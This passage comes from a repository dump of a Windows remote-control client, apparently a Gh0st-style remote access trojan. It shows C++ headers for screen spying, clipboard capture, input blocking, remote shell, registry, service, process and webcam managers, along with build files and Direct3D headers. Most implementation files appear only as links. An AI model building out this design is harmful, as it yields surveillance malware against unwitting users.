AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | #include "Manager.h" 13 | #include "RegisterOperation.h" 14 | 15 | class CRegisterManager : public CManager 16 | { 17 | public: 18 | CRegisterManager(IOCPClient* ClientObject, int n); 19 | virtual ~CRegisterManager(); 20 | VOID OnReceive(PBYTE szBuffer, ULONG ulLength); 21 | VOID Find(char bToken, char *szPath); 22 | }; 23 | 24 | #endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_) 25 | -------------------------------------------------------------------------------- /client/RegisterOperation.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/RegisterOperation.cpp -------------------------------------------------------------------------------- /client/RegisterOperation.h: -------------------------------------------------------------------------------- 1 | // RegisterOperation.h: interface for the RegisterOperation class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_) 6 | #define AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | class RegisterOperation 13 | { 14 | public: 15 | RegisterOperation(char bToken); 16 | virtual ~RegisterOperation(); 17 | char* FindPath(); 18 | HKEY MKEY; 19 | char KeyPath[MAX_PATH]; 20 | void SetPath(char *szPath); 21 | char* FindKey(); 22 | }; 23 | 24 | #endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_) 25 | -------------------------------------------------------------------------------- /client/Res/ghost.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/Res/ghost.ico -------------------------------------------------------------------------------- /client/Res/msg.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/Res/msg.ico -------------------------------------------------------------------------------- /client/Res/msg.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/Res/msg.wav -------------------------------------------------------------------------------- /client/ScreenManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/ScreenManager.cpp -------------------------------------------------------------------------------- /client/ScreenManager.h: -------------------------------------------------------------------------------- 1 | // ScreenManager.h: interface for the CScreenManager class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_) 6 | #define AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | #include "Manager.h" 13 | #include "ScreenSpy.h" 14 | 15 | class IOCPClient; 16 | 17 | class CScreenManager : public CManager 18 | { 19 | public: 20 | char* szBuffer; 21 | CScreenManager(IOCPClient* ClientObject, int n); 22 | virtual ~CScreenManager(); 23 | HANDLE m_hWorkThread; 24 | 25 | static DWORD WINAPI WorkThreadProc(LPVOID lParam); 26 | VOID SendBitMapInfo(); 27 | VOID OnReceive(PBYTE szBuffer, ULONG ulLength); 28 | 29 | CScreenSpy* m_ScreenSpyObject; 30 | VOID SendFirstScreen(); 31 | const char* GetNextScreen(ULONG &ulNextSendLength); 32 | VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength); 33 | 34 | VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength); 35 | BOOL m_bIsWorking; 36 | BOOL m_bIsBlockInput; 37 | VOID SendClientClipboard(); 38 | VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength); 39 | }; 40 | 41 | #endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_) 42 | -------------------------------------------------------------------------------- /client/ScreenSpy.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/ScreenSpy.cpp -------------------------------------------------------------------------------- /client/ScreenSpy.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/ScreenSpy.h -------------------------------------------------------------------------------- /client/Script.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/Script.rc -------------------------------------------------------------------------------- /client/ServicesManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/ServicesManager.cpp -------------------------------------------------------------------------------- /client/ServicesManager.h: -------------------------------------------------------------------------------- 1 | // ServicesManager.h: interface for the CServicesManager class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_) 6 | #define AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | #include "Manager.h" 13 | 14 | class CServicesManager : public CManager 15 | { 16 | public: 17 | CServicesManager(IOCPClient* ClientObject, int n); 18 | virtual ~CServicesManager(); 19 | VOID SendServicesList(); 20 | LPBYTE GetServicesList(); 21 | VOID OnReceive(PBYTE szBuffer, ULONG ulLength); 22 | void ServicesConfig(PBYTE szBuffer, ULONG ulLength); 23 | SC_HANDLE m_hscManager; 24 | }; 25 | 26 | #endif // !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_) 27 | -------------------------------------------------------------------------------- /client/ShellManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/ShellManager.cpp -------------------------------------------------------------------------------- /client/ShellManager.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/ShellManager.h -------------------------------------------------------------------------------- /client/StdAfx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // ClientDll.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /client/StdAfx.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/StdAfx.h -------------------------------------------------------------------------------- /client/SystemManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/SystemManager.cpp -------------------------------------------------------------------------------- /client/SystemManager.h: -------------------------------------------------------------------------------- 1 | // SystemManager.h: interface for the CSystemManager class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_) 6 | #define AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | #include "Manager.h" 13 | #include "IOCPClient.h" 14 | 15 | class CSystemManager : public CManager 16 | { 17 | public: 18 | CSystemManager(IOCPClient* ClientObject,BOOL bHow); 19 | virtual ~CSystemManager(); 20 | LPBYTE GetProcessList(); 21 | VOID SendProcessList(); 22 | BOOL DebugPrivilege(const char *szName, BOOL bEnable); 23 | VOID OnReceive(PBYTE szBuffer, ULONG ulLength); 24 | VOID KillProcess(LPBYTE szBuffer, UINT ulLength); 25 | LPBYTE GetWindowsList(); 26 | static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam); 27 | void SendWindowsList(); 28 | void TestWindow(LPBYTE szBuffer); 29 | }; 30 | 31 | #endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_) 32 | -------------------------------------------------------------------------------- /client/TalkManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/TalkManager.cpp -------------------------------------------------------------------------------- /client/TalkManager.h: -------------------------------------------------------------------------------- 1 | // TalkManager.h: interface for the CTalkManager class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_) 6 | #define AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | #include "Manager.h" 13 | 14 | class CTalkManager : public CManager 15 | { 16 | public: 17 | CTalkManager(IOCPClient* ClientObject, int n); 18 | virtual ~CTalkManager(); 19 | VOID OnReceive(PBYTE szBuffer, ULONG ulLength); 20 | 21 | static int CALLBACK DialogProc(HWND hDlg, unsigned int uMsg, 22 | WPARAM wParam, LPARAM lParam); 23 | 24 | static VOID OnInitDialog(HWND hDlg); 25 | static VOID OnDlgTimer(HWND hDlg); 26 | }; 27 | 28 | #endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_) 29 | -------------------------------------------------------------------------------- /client/TestRun.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/TestRun.rc -------------------------------------------------------------------------------- /client/TestRun.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3} 15 | TestRun 16 | 8.1 17 | 18 | 19 | 20 | Application 21 | true 22 | v110_xp 23 | MultiByte 24 | 25 | 26 | Application 27 | false 28 | v110_xp 29 | true 30 | MultiByte 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | $(WindowsSDK_IncludePath);$(IncludePath) 44 | $(WindowsSDK_LibraryPath_x86);$(LibraryPath) 45 | 46 | 47 | $(WindowsSDK_IncludePath);$(IncludePath) 48 | $(WindowsSDK_LibraryPath_x86);$(LibraryPath) 49 | 50 | 51 | 52 | Level3 53 | Disabled 54 | MultiThreadedDebug 55 | true 56 | false 57 | 58 | 59 | true 60 | Console 61 | 62 | 63 | 64 | 65 | Level3 66 | MaxSpeed 67 | true 68 | true 69 | MultiThreaded 70 | true 71 | _CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 72 | 73 | 74 | true 75 | true 76 | true 77 | Windows 78 | mainCRTStartup 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | -------------------------------------------------------------------------------- /client/TestRun.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 23 | 24 | 头文件 25 | 26 | 27 | 28 | 29 | 资源文件 30 | 31 | 32 | -------------------------------------------------------------------------------- /client/TestRun.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | C:\VM\Remoter\TestRun.exe 5 | C:\VM\Remoter 6 | 192.168.43.2 7 | C:\VM\Remoter 8 | $(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb 9 | false 10 | WindowsLocalDebugger 11 | 12 | -------------------------------------------------------------------------------- /client/TestRun_vs2015.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3} 15 | TestRun 16 | 8.1 17 | TestRun 18 | 19 | 20 | 21 | Application 22 | true 23 | v140_xp 24 | MultiByte 25 | 26 | 27 | Application 28 | false 29 | v140_xp 30 | true 31 | MultiByte 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | $(WindowsSDK_IncludePath);$(IncludePath) 45 | $(WindowsSDK_LibraryPath_x86);$(LibraryPath) 46 | $(Configuration)\test 47 | 48 | 49 | $(WindowsSDK_IncludePath);$(IncludePath) 50 | $(WindowsSDK_LibraryPath_x86);$(LibraryPath) 51 | $(Configuration)\test 52 | 53 | 54 | 55 | Level3 56 | Disabled 57 | MultiThreadedDebug 58 | true 59 | false 60 | 61 | 62 | true 63 | Console 64 | 65 | 66 | 67 | 68 | Level3 69 | MaxSpeed 70 | true 71 | true 72 | MultiThreaded 73 | true 74 | _CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 75 | 76 | 77 | true 78 | true 79 | true 80 | Windows 81 | mainCRTStartup 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | -------------------------------------------------------------------------------- /client/VideoCodec.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/VideoCodec.h -------------------------------------------------------------------------------- /client/VideoManager.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/VideoManager.cpp -------------------------------------------------------------------------------- /client/VideoManager.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/VideoManager.h -------------------------------------------------------------------------------- /client/d3drm.h: -------------------------------------------------------------------------------- 1 | /* $Revision: 1.2 $ */ 2 | #ifndef _LCC__D3DRM_H__ 3 | #define _LCC__D3DRM_H__ 4 | #include "ddraw.h" 5 | #include "d3drmobj.h" 6 | typedef void (*D3DRMDEVICEPALETTECALLBACK)(LPDIRECT3DRMDEVICE,LPVOID,DWORD,LONG,LONG,LONG); 7 | DEFINE_GUID(IID_IDirect3DRM, 0x2bc49361, 0x8327, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); 8 | WIN_TYPES(IDirect3DRM, DIRECT3DRM); 9 | STDAPI Direct3DRMCreate(LPDIRECT3DRM *lplpDirect3DRM); 10 | #undef INTERFACE 11 | #define INTERFACE IDirect3DRM 12 | DECLARE_INTERFACE_(IDirect3DRM, IUnknown) 13 | { 14 | IUNKNOWN_METHODS(PURE); 15 | 16 | STDMETHOD(CreateObject) 17 | (THIS_ REFCLSID rclsid, LPUNKNOWN pUnkOuter, REFIID riid, LPVOID FAR* ppv) PURE; 18 | STDMETHOD(CreateFrame) (THIS_ LPDIRECT3DRMFRAME, LPDIRECT3DRMFRAME *) PURE; 19 | STDMETHOD(CreateMesh) (THIS_ LPDIRECT3DRMMESH *) PURE; 20 | STDMETHOD(CreateMeshBuilder)(THIS_ LPDIRECT3DRMMESHBUILDER *) PURE; 21 | STDMETHOD(CreateFace) (THIS_ LPDIRECT3DRMFACE *) PURE; 22 | STDMETHOD(CreateAnimation) (THIS_ LPDIRECT3DRMANIMATION *) PURE; 23 | STDMETHOD(CreateAnimationSet)(THIS_ LPDIRECT3DRMANIMATIONSET *) PURE; 24 | STDMETHOD(CreateTexture) (THIS_ LPD3DRMIMAGE, LPDIRECT3DRMTEXTURE *) PURE; 25 | STDMETHOD(CreateLight) (THIS_ D3DRMLIGHTTYPE, D3DCOLOR, LPDIRECT3DRMLIGHT *) PURE; 26 | STDMETHOD(CreateLightRGB) 27 | (THIS_ D3DRMLIGHTTYPE, D3DVALUE, D3DVALUE, D3DVALUE, LPDIRECT3DRMLIGHT *) PURE; 28 | STDMETHOD(CreateMaterial) (THIS_ D3DVALUE, LPDIRECT3DRMMATERIAL *) PURE; 29 | STDMETHOD(CreateDevice) (THIS_ DWORD, DWORD, LPDIRECT3DRMDEVICE *) PURE; 30 | STDMETHOD(CreateDeviceFromSurface) 31 | ( THIS_ LPGUID lpGUID, LPDIRECTDRAW lpDD, 32 | LPDIRECTDRAWSURFACE lpDDSBack, LPDIRECT3DRMDEVICE * 33 | ) PURE; 34 | STDMETHOD(CreateDeviceFromD3D) 35 | ( THIS_ LPDIRECT3D lpD3D, LPDIRECT3DDEVICE lpD3DDev, 36 | LPDIRECT3DRMDEVICE * 37 | ) PURE; 38 | STDMETHOD(CreateDeviceFromClipper) 39 | ( THIS_ LPDIRECTDRAWCLIPPER lpDDClipper, LPGUID lpGUID, 40 | int width, int height, LPDIRECT3DRMDEVICE *) PURE; 41 | STDMETHOD(CreateTextureFromSurface)(THIS_ LPDIRECTDRAWSURFACE lpDDS, LPDIRECT3DRMTEXTURE *) PURE; 42 | STDMETHOD(CreateShadow) 43 | ( THIS_ LPDIRECT3DRMVISUAL, LPDIRECT3DRMLIGHT, 44 | D3DVALUE px, D3DVALUE py, D3DVALUE pz, 45 | D3DVALUE nx, D3DVALUE ny, D3DVALUE nz, 46 | LPDIRECT3DRMVISUAL * 47 | ) PURE; 48 | STDMETHOD(CreateViewport) 49 | ( THIS_ LPDIRECT3DRMDEVICE, LPDIRECT3DRMFRAME, DWORD, DWORD, 50 | DWORD, DWORD, LPDIRECT3DRMVIEWPORT * 51 | ) PURE; 52 | STDMETHOD(CreateWrap) 53 | ( THIS_ D3DRMWRAPTYPE, LPDIRECT3DRMFRAME, 54 | D3DVALUE ox, D3DVALUE oy, D3DVALUE oz, 55 | D3DVALUE dx, D3DVALUE dy, D3DVALUE dz, 56 | D3DVALUE ux, D3DVALUE uy, D3DVALUE uz, 57 | D3DVALUE ou, D3DVALUE ov, 58 | D3DVALUE su, D3DVALUE sv, 59 | LPDIRECT3DRMWRAP * 60 | ) PURE; 61 | STDMETHOD(CreateUserVisual) (THIS_ D3DRMUSERVISUALCALLBACK, LPVOID lPArg, LPDIRECT3DRMUSERVISUAL *) PURE; 62 | STDMETHOD(LoadTexture) (THIS_ const char *, LPDIRECT3DRMTEXTURE *) PURE; 63 | STDMETHOD(LoadTextureFromResource) (THIS_ HRSRC rs, LPDIRECT3DRMTEXTURE *) PURE; 64 | STDMETHOD(SetSearchPath) (THIS_ LPCSTR) PURE; 65 | STDMETHOD(AddSearchPath) (THIS_ LPCSTR) PURE; 66 | STDMETHOD(GetSearchPath) (THIS_ DWORD *size_return, LPSTR path_return); 67 | STDMETHOD(SetDefaultTextureColors)(THIS_ DWORD) PURE; 68 | STDMETHOD(SetDefaultTextureShades)(THIS_ DWORD) PURE; 69 | STDMETHOD(GetDevices) (THIS_ LPDIRECT3DRMDEVICEARRAY *) PURE; 70 | STDMETHOD(GetNamedObject) (THIS_ const char *, LPDIRECT3DRMOBJECT *) PURE; 71 | STDMETHOD(EnumerateObjects) (THIS_ D3DRMOBJECTCALLBACK, LPVOID) PURE; 72 | STDMETHOD(Load) 73 | ( THIS_ LPVOID, LPVOID, LPIID *, DWORD, D3DRMLOADOPTIONS, 74 | D3DRMLOADCALLBACK, LPVOID, D3DRMLOADTEXTURECALLBACK, LPVOID, 75 | LPDIRECT3DRMFRAME 76 | ) PURE; 77 | STDMETHOD(Tick) (THIS_ D3DVALUE) PURE; 78 | }; 79 | #define D3DRM_OK DD_OK 80 | #define D3DRMERR_BADOBJECT MAKE_DDHRESULT(781) 81 | #define D3DRMERR_BADTYPE MAKE_DDHRESULT(782) 82 | #define D3DRMERR_BADALLOC MAKE_DDHRESULT(783) 83 | #define D3DRMERR_FACEUSED MAKE_DDHRESULT(784) 84 | #define D3DRMERR_NOTFOUND MAKE_DDHRESULT(785) 85 | #define D3DRMERR_NOTDONEYET MAKE_DDHRESULT(786) 86 | #define D3DRMERR_FILENOTFOUND MAKE_DDHRESULT(787) 87 | #define D3DRMERR_BADFILE MAKE_DDHRESULT(788) 88 | #define D3DRMERR_BADDEVICE MAKE_DDHRESULT(789) 89 | #define D3DRMERR_BADVALUE MAKE_DDHRESULT(790) 90 | #define D3DRMERR_BADMAJORVERSION MAKE_DDHRESULT(791) 91 | #define D3DRMERR_BADMINORVERSION MAKE_DDHRESULT(792) 92 | #define D3DRMERR_UNABLETOEXECUTE MAKE_DDHRESULT(793) 93 | #endif 94 | 95 | -------------------------------------------------------------------------------- /client/d3drmdef.h: -------------------------------------------------------------------------------- 1 | /* $Revision: 1.2 $ */ 2 | #ifndef __D3DRMDEFS_H__ 3 | #define __D3DRMDEFS_H__ 4 | #include 5 | #include "d3dtypes.h" 6 | #define D3DRMAPI __stdcall 7 | #ifndef TRUE 8 | #define FALSE 0 9 | #define TRUE 1 10 | #endif 11 | typedef struct _D3DRMVECTOR4D { D3DVALUE x, y, z, w; } D3DRMVECTOR4D, *LPD3DRMVECTOR4D; 12 | typedef D3DVALUE D3DRMMATRIX4D[4][4]; 13 | typedef struct _D3DRMQUATERNION { D3DVALUE s; D3DVECTOR v; } D3DRMQUATERNION, *LPD3DRMQUATERNION; 14 | typedef struct _D3DRMBOX { D3DVECTOR min, max; } D3DRMBOX, *LPD3DRMBOX; 15 | typedef void (*D3DRMWRAPCALLBACK) (LPD3DVECTOR, int*,int* ,LPD3DVECTOR,LPD3DVECTOR,LPVOID); 16 | typedef enum _D3DRMLIGHTTYPE 17 | { D3DRMLIGHT_AMBIENT, 18 | D3DRMLIGHT_POINT, 19 | D3DRMLIGHT_SPOT, 20 | D3DRMLIGHT_DIRECTIONAL, 21 | D3DRMLIGHT_PARALLELPOINT 22 | } D3DRMLIGHTTYPE, *LPD3DRMLIGHTTYPE; 23 | typedef enum _D3DRMSHADEMODE { 24 | D3DRMSHADE_FLAT = 0, 25 | D3DRMSHADE_GOURAUD = 1, 26 | D3DRMSHADE_PHONG = 2, 27 | D3DRMSHADE_MASK = 7, 28 | D3DRMSHADE_MAX = 8 29 | } D3DRMSHADEMODE, *LPD3DRMSHADEMODE; 30 | typedef enum _D3DRMLIGHTMODE { 31 | D3DRMLIGHT_OFF = 0 * D3DRMSHADE_MAX, 32 | D3DRMLIGHT_ON = 1 * D3DRMSHADE_MAX, 33 | D3DRMLIGHT_MASK = 7 * D3DRMSHADE_MAX, 34 | D3DRMLIGHT_MAX = 8 * D3DRMSHADE_MAX 35 | } D3DRMLIGHTMODE, *LPD3DRMLIGHTMODE; 36 | typedef enum _D3DRMFILLMODE { 37 | D3DRMFILL_POINTS = 0 * D3DRMLIGHT_MAX, 38 | D3DRMFILL_WIREFRAME = 1 * D3DRMLIGHT_MAX, 39 | D3DRMFILL_SOLID = 2 * D3DRMLIGHT_MAX, 40 | D3DRMFILL_MASK = 7 * D3DRMLIGHT_MAX, 41 | D3DRMFILL_MAX = 8 * D3DRMLIGHT_MAX 42 | } D3DRMFILLMODE, *LPD3DRMFILLMODE; 43 | typedef DWORD D3DRMRENDERQUALITY, *LPD3DRMRENDERQUALITY; 44 | #define D3DRMRENDER_WIREFRAME (D3DRMSHADE_FLAT+D3DRMLIGHT_OFF+D3DRMFILL_WIREFRAME) 45 | #define D3DRMRENDER_UNLITFLAT (D3DRMSHADE_FLAT+D3DRMLIGHT_OFF+D3DRMFILL_SOLID) 46 | #define D3DRMRENDER_FLAT (D3DRMSHADE_FLAT+D3DRMLIGHT_ON+D3DRMFILL_SOLID) 47 | #define D3DRMRENDER_GOURAUD (D3DRMSHADE_GOURAUD+D3DRMLIGHT_ON+D3DRMFILL_SOLID) 48 | #define D3DRMRENDER_PHONG (D3DRMSHADE_PHONG+D3DRMLIGHT_ON+D3DRMFILL_SOLID) 49 | typedef enum _D3DRMTEXTUREQUALITY 50 | { D3DRMTEXTURE_NEAREST, 51 | D3DRMTEXTURE_LINEAR, 52 | D3DRMTEXTURE_MIPNEAREST, 53 | D3DRMTEXTURE_MIPLINEAR, 54 | D3DRMTEXTURE_LINEARMIPNEAREST, 55 | D3DRMTEXTURE_LINEARMIPLINEAR 56 | } D3DRMTEXTUREQUALITY, *LPD3DRMTEXTUREQUALITY; 57 | typedef enum _D3DRMCOMBINETYPE 58 | { D3DRMCOMBINE_REPLACE, 59 | D3DRMCOMBINE_BEFORE, 60 | D3DRMCOMBINE_AFTER 61 | } D3DRMCOMBINETYPE, *LPD3DRMCOMBINETYPE; 62 | typedef D3DCOLORMODEL D3DRMCOLORMODEL, *LPD3DRMCOLORMODEL; 63 | typedef enum _D3DRMPALETTEFLAGS 64 | { D3DRMPALETTE_FREE, 65 | D3DRMPALETTE_READONLY, 66 | D3DRMPALETTE_RESERVED 67 | } D3DRMPALETTEFLAGS, *LPD3DRMPALETTEFLAGS; 68 | typedef struct _D3DRMPALETTEENTRY 69 | { unsigned char red; 70 | unsigned char green; 71 | unsigned char blue; 72 | unsigned char flags; 73 | } D3DRMPALETTEENTRY, *LPD3DRMPALETTEENTRY; 74 | typedef struct _D3DRMIMAGE 75 | { int width, height; 76 | int aspectx, aspecty; 77 | int depth; 78 | int rgb; 79 | int bytes_per_line; 80 | void* buffer1; 81 | void* buffer2; 82 | unsigned long red_mask; 83 | unsigned long green_mask; 84 | unsigned long blue_mask; 85 | unsigned long alpha_mask; 86 | int palette_size; 87 | D3DRMPALETTEENTRY* palette; 88 | } D3DRMIMAGE, *LPD3DRMIMAGE; 89 | typedef enum _D3DRMWRAPTYPE 90 | { D3DRMWRAP_FLAT, 91 | D3DRMWRAP_CYLINDER, 92 | D3DRMWRAP_SPHERE, 93 | D3DRMWRAP_CHROME 94 | } D3DRMWRAPTYPE, *LPD3DRMWRAPTYPE; 95 | #define D3DRMWIREFRAME_CULL 1 96 | #define D3DRMWIREFRAME_HIDDENLINE 2 97 | typedef enum _D3DRMPROJECTIONTYPE 98 | { D3DRMPROJECT_PERSPECTIVE, 99 | D3DRMPROJECT_ORTHOGRAPHIC 100 | } D3DRMPROJECTIONTYPE, *LPD3DRMPROJECTIONTYPE; 101 | typedef enum _D3DRMXOFFORMAT 102 | { D3DRMXOF_BINARY, 103 | D3DRMXOF_COMPRESSED, 104 | D3DRMXOF_TEXT 105 | } D3DRMXOFFORMAT, *LPD3DRMXOFFORMAT; 106 | typedef DWORD D3DRMSAVEOPTIONS; 107 | #define D3DRMXOFSAVE_NORMALS 1 108 | #define D3DRMXOFSAVE_TEXTURECOORDINATES 2 109 | #define D3DRMXOFSAVE_MATERIALS 4 110 | #define D3DRMXOFSAVE_TEXTURENAMES 8 111 | #define D3DRMXOFSAVE_ALL 15 112 | #define D3DRMXOFSAVE_TEMPLATES 16 113 | typedef enum _D3DRMCOLORSOURCE 114 | { D3DRMCOLOR_FROMFACE, 115 | D3DRMCOLOR_FROMVERTEX 116 | } D3DRMCOLORSOURCE, *LPD3DRMCOLORSOURCE; 117 | typedef enum _D3DRMFRAMECONSTRAINT 118 | { D3DRMCONSTRAIN_Z, 119 | D3DRMCONSTRAIN_Y, 120 | D3DRMCONSTRAIN_X 121 | } D3DRMFRAMECONSTRAINT, *LPD3DRMFRAMECONSTRAINT; 122 | typedef enum _D3DRMMATERIALMODE 123 | { D3DRMMATERIAL_FROMMESH, 124 | D3DRMMATERIAL_FROMPARENT, 125 | D3DRMMATERIAL_FROMFRAME 126 | } D3DRMMATERIALMODE, *LPD3DRMMATERIALMODE; 127 | typedef enum _D3DRMFOGMODE 128 | { D3DRMFOG_LINEAR, 129 | D3DRMFOG_EXPONENTIAL, 130 | D3DRMFOG_EXPONENTIALSQUARED 131 | } D3DRMFOGMODE, *LPD3DRMFOGMODE; 132 | 133 | typedef enum _D3DRMZBUFFERMODE { 134 | D3DRMZBUFFER_FROMPARENT, 135 | D3DRMZBUFFER_ENABLE, 136 | D3DRMZBUFFER_DISABLE 137 | } D3DRMZBUFFERMODE, *LPD3DRMZBUFFERMODE; 138 | typedef enum _D3DRMSORTMODE { 139 | D3DRMSORT_FROMPARENT, 140 | D3DRMSORT_NONE, 141 | D3DRMSORT_FRONTTOBACK, 142 | D3DRMSORT_BACKTOFRONT 143 | } D3DRMSORTMODE, *LPD3DRMSORTMODE; 144 | typedef DWORD D3DRMANIMATIONOPTIONS; 145 | #define D3DRMANIMATION_OPEN 1 146 | #define D3DRMANIMATION_CLOSED 2 147 | #define D3DRMANIMATION_LINEARPOSITION 4 148 | #define D3DRMANIMATION_SPLINEPOSITION 8 149 | #define D3DRMANIMATION_SCALEANDROTATION 16 150 | #define 